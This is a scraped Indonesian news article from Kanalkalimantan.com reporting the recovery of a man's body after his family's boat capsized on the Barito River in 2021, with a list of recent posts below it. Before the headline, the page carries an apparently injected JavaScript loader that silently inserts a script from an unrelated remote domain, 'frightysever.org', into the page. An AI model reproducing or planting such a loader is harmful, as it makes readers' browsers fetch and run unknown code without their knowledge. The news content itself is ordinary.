(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sangkut di Tali, Satu Korban Kelotok Tenggelam di Sungai Barito Ditemukan


KANALKALIMANTAN.COM, MARABAHAN – Lebih dari 20 jam upaya pencarian, akhirnya Nova Wijayanto (27) yang tengelam di Sungai Barito lantaran perahu yang di tumpanginya tenggelam ditemukan oleh tim rescue beserta warga.

Korban kelotok tenggelam di Sungai Barito, Kecamatan Kuripan, Kabupaten Batola, ditemukan pada Minggu (14/3/2021) sekitar pukul 09.46 Wita.

“Untuk suaminya Nova Wijayanto tadi temukan warga sekitar pukul 09.46 Wita,” ujar Taufik, salah seorang warga yang bergabung dalam tim pencarian.

Korban kecelakaan tunggal di perairan Sungai Barito ini didapati warga tepatnya di seberang Desa Palingkau Lama, Kalimantan Tengah atau di bagian hulu Desa Jambu Lama.

 

 

Baca juga: Razia PPKM Banjarbaru ‘Terkunci’ Rapat, Hindari Oknum Pembocor Informasi

“Korban didapati warga masih di dalam air waktu itu saat dipancing dengan tali dan nyangkut di tubuh korban dan sekarang sudah dibawa tim yang terdiri dari Basarnas TNI, Polri serta relawan ke rumahnya di Jambu Lama RT 5,” singkatnya.

Sebelumnya kelotok yang ditumpangi Nova Wijayanto (27) dan keluarga kecilnya yang terdiri dari tiga anak dan istrinya terbalik pada Sabtu (13/3/2021) siang sekitar pukul 15.00 Wita.

Kelotok Nova diduga tenggelam lantaran disapu gelombang yang pada saat itu cuaca di Sungai Barito disertai hujan dan angin kencang.

Kala itu Nova bersama anggota keluarganya berangkat dari perusahaan Tri Buan Mas (TBM) di Kabupaten Tapin dengan mengendarai kelotok hendak pulang menuju kampung di Desa Jambu Lama, Kecamatan Kuripan.

“Jadi berdasarkan informasi yang didapat istrinya berhasil selamat dan sempat meminta pertolongan pada warga, setelah itu istrinya tidak sadarkan diri dan sekarang ada di kampungnya di Desa Jambu Baru,” kata Taufiq kepada Kanalkalimantan.com.

Kasat Polair Polres Batola AKP Dading Kalbu Adie membenarkan kejadian yang terjadi di wilayah perairan Sungai Barito, Kabupaten Barito Kuala tersebut.

“Iya benar kejadiannya itu sekitar pukul 15.00 WITA tadi di Sungai Barito Desa Jambu Lama, Kecamatan Kuripan, berdasarkan informasi sementara identitas korban tersebut adalah Nova wijayanto (27) sang suami, anak laki-laki dan perempuan yang berusia 6 bulan Abyasa Rava dan Anindita Putri Wijaya, anak tertuanya Radika Wijaya (5) dan Rahma (23) sang istri yang ditemukan selamat, namun masih tidak sadarkan diri,” beber Kasat Pol Air Polres Batola.

Hingga saat ini tim gabungan masih melakukan pencarian terhadap ketiga anak Nova yang hingga sekarang masih belum ditemukan. (kanalkalimantan.com/rdy)

Reporter : rdy
Editor : bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.